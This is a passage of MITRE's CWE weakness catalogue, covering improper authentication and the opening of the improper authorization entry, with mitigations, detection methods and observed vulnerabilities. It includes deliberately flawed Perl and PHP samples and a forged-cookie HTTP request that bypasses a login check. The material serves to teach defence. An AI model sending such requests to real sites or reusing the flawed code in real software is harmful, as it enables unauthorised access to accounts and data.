ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 290 Authentication Bypass by Spoofing
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 294 Authentication Bypass by Capture-replay
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 307 Improper Restriction of Excessive Authentication Attempts
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 521 Weak Password Requirements
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 522 Insufficiently Protected Credentials
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 640 Weak Password Recovery Mechanism for Forgotten Password
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 798 Use of Hard-coded Credentials
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.


Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.


+ Observed Examples
Reference Description
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor uses a protocol that does not require authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Functional Areas
  • Authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 718 OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 930 OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1028 OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.
Suggestions:
CWE-ID Comment
CWE-1390 Weak Authentication
CWE-306 Missing Authentication for Critical Function
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Error
OWASP Top Ten 2007 A7 CWE More Specific Broken Authentication and Session Management
OWASP Top Ten 2004 A3 CWE More Specific Broken Authentication and Session Management
WASC 1 Insufficient Authentication
ISA/IEC 62443 Part 3-3 Req SR 1.1
ISA/IEC 62443 Part 3-3 Req SR 1.2
ISA/IEC 62443 Part 4-2 Req CR 1.1
ISA/IEC 62443 Part 4-2 Req CR 1.2
+ References
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Relationships
2009-01-12 CWE Content Team MITRE
updated Name
2009-05-27 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Relationships
2011-03-29 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Diagram
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Authentication Issues
2009-01-12 Insufficient Authentication

CWE-285: Improper Authorization

Weakness ID: 285
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
+ Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.
+ Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 926 Improper Export of Android Application Components
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 927 Use of Implicit Intent for Sensitive Communication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1230 Exposure of Sensitive Information Through Metadata
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1256 Improper Restriction of Software Interfaces to Hardware Features
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1297 Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1328 Security Version Number Mutable to Older Versions
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.


Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.


+ Observed Examples
Reference Description
Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
